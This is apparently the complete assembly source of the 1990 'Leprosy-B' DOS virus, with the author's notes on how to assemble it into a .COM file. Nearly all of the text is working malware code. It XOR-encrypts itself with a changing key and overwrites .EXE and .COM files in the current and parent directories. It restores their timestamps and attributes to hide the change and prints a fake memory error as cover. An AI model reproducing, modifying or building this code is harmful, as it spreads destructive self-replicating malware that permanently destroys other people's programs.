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243 lines
13 KiB
NASM
243 lines
13 KiB
NASM
; <LEPROSYB.ASM> - Leprosy-B Virus Source
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; Copy-ya-right (c) 1990 by PCM2.
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;
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; This file is the source code to the Leprosy-B virus. It should
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; be assembled with an MASM-compatible assembler; it has been tested
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; and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
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; It should be made into a .COM file before executing, with either
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; the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
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;
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; This program has the potential to permanently destroy executable
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; images on any disk medium. Other modifications may have been made
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; subsequent to the original release by the author, either benign,
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; or which could result in further harm should this program be run.
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; In any case, the author assumes no responsibility for any damage
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; caused by this program, incidental or otherwise. As a precaution,
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; this program should not be turned over to irresponsible hands...
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; (unlike people like us, that is).
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title "Leprosy-B Virus by PCM2, August 1990"
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cr equ 13 ; Carriage return ASCII code
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lf equ 10 ; Linefeed ASCII code
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tab equ 9 ; Tab ASCII code
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virus_size equ 666 ; Size of the virus file
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code_start equ 100h ; Address right after PSP in memory
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dta equ 80h ; Addr of default disk transfer area
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datestamp equ 24 ; Offset in DTA of file's date stamp
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timestamp equ 22 ; Offset in DTA of file's time stamp
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filename equ 30 ; Offset in DTA of ASCIIZ filename
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attribute equ 21 ; Offset in DTA of file attribute
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code segment 'code' ; Open code segment
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assume cs:code,ds:code ; One segment for both code & data
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org code_start ; Start code image after PSP
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;---------------------------------------------------------------------
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; All executable code is contained in boundaries of procedure "main".
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; The following code, until the start of "virus_code", is the non-
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; encrypted CMT portion of the code to load up the real program.
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;---------------------------------------------------------------------
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main proc near ; Code execution begins here
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call encrypt_decrypt ; Decrypt the real virus code
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jmp random_mutation ; Put the virus into action
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encrypt_val db 00h ; Hold value to encrypt by here
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; ---------- Encrypt, save, and restore the virus code -----------
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infect_file:
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mov bx,handle ; Get the handle
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push bx ; Save it on the stack
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call encrypt_decrypt ; Encrypt most of the code
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pop bx ; Get back the handle
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mov cx,virus_size ; Total number of bytes to write
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mov dx,code_start ; Buffer where code starts in memory
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mov ah,40h ; DOS write-to-handle service
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int 21h ; Write the virus code into the file
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call encrypt_decrypt ; Restore the code as it was
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ret ; Go back to where you came from
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; --------------- Encrypt or decrypt the virus code ----------------
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encrypt_decrypt:
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mov bx,offset virus_code ; Get address to start encrypt/decrypt
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xor_loop: ; Start cycle here
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mov ah,[bx] ; Get the current byte
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xor ah,encrypt_val ; Engage/disengage XOR scheme on it
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mov [bx],ah ; Put it back where we got it
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inc bx ; Move BX ahead a byte
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cmp bx,offset virus_code+virus_size ; Are we at the end?
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jle xor_loop ; If not, do another cycle
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ret ; and go back where we came from
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;-----------------------------------------------------------------------
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; The rest of the code from here on remains encrypted until run-time,
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; using a fundamental XOR technique that changes via CMT.
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;-----------------------------------------------------------------------
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virus_code:
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;----------------------------------------------------------------------------
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; All strings are kept here in the file, and automatically encrypted.
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; Please don't be a lamer and change the strings and say you wrote a virus.
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; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
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; changes, even when the strings stay the same.
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;----------------------------------------------------------------------------
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exe_filespec db "*.EXE",0
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com_filespec db "*.COM",0
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newdir db "..",0
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fake_msg db cr,lf,"Program too big to fit in memory$"
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virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$"
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virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$"
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virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
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virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
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compare_buf db 20 dup (?) ; Buffer to compare files in
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files_found db ?
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files_infected db ?
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orig_time dw ?
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orig_date dw ?
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orig_attr dw ?
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handle dw ?
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success db ?
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random_mutation: ; First decide if virus is to mutate
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mov ah,2ch ; Set up DOS function to get time
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int 21h
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cmp encrypt_val,0 ; Is this a first-run virus copy?
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je install_val ; If so, install whatever you get.
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cmp dh,15 ; Is it less than 16 seconds?
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jg find_extension ; If not, don't mutate this time
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install_val:
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cmp dl,0 ; Will we be encrypting using zero?
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je random_mutation ; If so, get a new value.
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mov encrypt_val,dl ; Otherwise, save the new value
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find_extension: ; Locate file w/ valid extension
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mov files_found,0 ; Count infected files found
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mov files_infected,4 ; BX counts file infected so far
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mov success,0
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find_exe:
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mov cx,00100111b ; Look for all flat file attributes
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mov dx,offset exe_filespec ; Check for .EXE extension first
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mov ah,4eh ; Call DOS find first service
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int 21h
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cmp ax,12h ; Are no files found?
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je find_com ; If not, nothing more to do
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call find_healthy ; Otherwise, try to find healthy .EXE
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find_com:
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mov cx,00100111b ; Look for all flat file attributes
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mov dx,offset com_filespec ; Check for .COM extension now
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mov ah,4eh ; Call DOS find first service
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int 21h
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cmp ax,12h ; Are no files found?
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je chdir ; If not, step back a directory
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call find_healthy ; Otherwise, try to find healthy .COM
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chdir: ; Routine to step back one level
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mov dx,offset newdir ; Load DX with address of pathname
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mov ah,3bh ; Change directory DOS service
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int 21h
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dec files_infected ; This counts as infecting a file
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jnz find_exe ; If we're still rolling, find another
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jmp exit_virus ; Otherwise let's pack it up
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find_healthy:
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mov bx,dta ; Point BX to address of DTA
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mov ax,[bx]+attribute ; Get the current file's attribute
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mov orig_attr,ax ; Save it
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mov ax,[bx]+timestamp ; Get the current file's time stamp
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mov orig_time,ax ; Save it
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mov ax,[bx]+datestamp ; Get the current file's data stamp
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mov orig_date,ax ; Save it
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mov dx,dta+filename ; Get the filename to change attribute
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mov cx,0 ; Clear all attribute bytes
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mov al,1 ; Set attribute sub-function
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mov ah,43h ; Call DOS service to do it
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int 21h
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mov al,2 ; Set up to open handle for read/write
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mov ah,3dh ; Open file handle DOS service
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int 21h
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mov handle,ax ; Save the file handle
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mov bx,ax ; Transfer the handle to BX for read
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mov cx,20 ; Read in the top 20 bytes of file
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mov dx,offset compare_buf ; Use the small buffer up top
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mov ah,3fh ; DOS read-from-handle service
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int 21h
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mov bx,offset compare_buf ; Adjust the encryption value
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mov ah,encrypt_val ; for accurate comparison
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mov [bx+6],ah
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mov si,code_start ; One array to compare is this file
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mov di,offset compare_buf ; The other array is the buffer
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mov ax,ds ; Transfer the DS register...
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mov es,ax ; ...to the ES register
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cld
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repe cmpsb ; Compare the buffer to the virus
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jne healthy ; If different, the file is healthy!
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call close_file ; Close it up otherwise
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inc files_found ; Chalk up another fucked up file
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continue_search:
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mov ah,4fh ; Find next DOS function
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int 21h ; Try to find another same type file
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cmp ax,12h ; Are there any more files?
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je no_more_found ; If not, get outta here
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jmp find_healthy ; If so, try the process on this one!
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no_more_found:
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ret ; Go back to where we came from
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healthy:
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mov bx,handle ; Get the file handle
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mov ah,3eh ; Close it for now
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int 21h
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mov ah,3dh ; Open it again, to reset it
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mov dx,dta+filename
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mov al,2
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int 21h
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mov handle,ax ; Save the handle again
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call infect_file ; Infect the healthy file
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call close_file ; Close down this operation
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inc success ; Indicate we did something this time
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dec files_infected ; Scratch off another file on agenda
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jz exit_virus ; If we're through, terminate
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jmp continue_search ; Otherwise, try another
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ret
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close_file:
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mov bx,handle ; Get the file handle off the stack
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mov cx,orig_time ; Get the date stamp
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mov dx,orig_date ; Get the time stamp
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mov al,1 ; Set file date/time sub-service
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mov ah,57h ; Get/Set file date and time service
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int 21h ; Call DOS
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mov bx,handle
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mov ah,3eh ; Close handle DOS service
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int 21h
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mov cx,orig_attr ; Get the file's original attribute
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mov al,1 ; Instruct DOS to put it back there
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mov dx,dta+filename ; Feed it the filename
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mov ah,43h ; Call DOS
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int 21h
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ret
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exit_virus:
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cmp files_found,6 ; Are at least 6 files infected?
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jl print_fake ; If not, keep a low profile
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cmp success,0 ; Did we infect anything?
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jg print_fake ; If so, cover it up
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mov ah,09h ; Use DOS print string service
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mov dx,offset virus_msg1 ; Load the address of the first line
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int 21h ; Print it
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mov dx,offset virus_msg2 ; Load the second line
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int 21h ; (etc)
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mov dx,offset virus_msg3
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int 21h
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mov dx,offset virus_msg4
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int 21h
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jmp terminate
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print_fake:
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mov ah,09h ; Use DOS to print fake error message
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mov dx,offset fake_msg
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int 21h
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terminate:
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mov ah,4ch ; DOS terminate process function
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int 21h ; Call DOS to get out of this program
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filler db 8 dup (90h) ; Pad out the file length to 666 bytes
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main endp
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code ends
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end main
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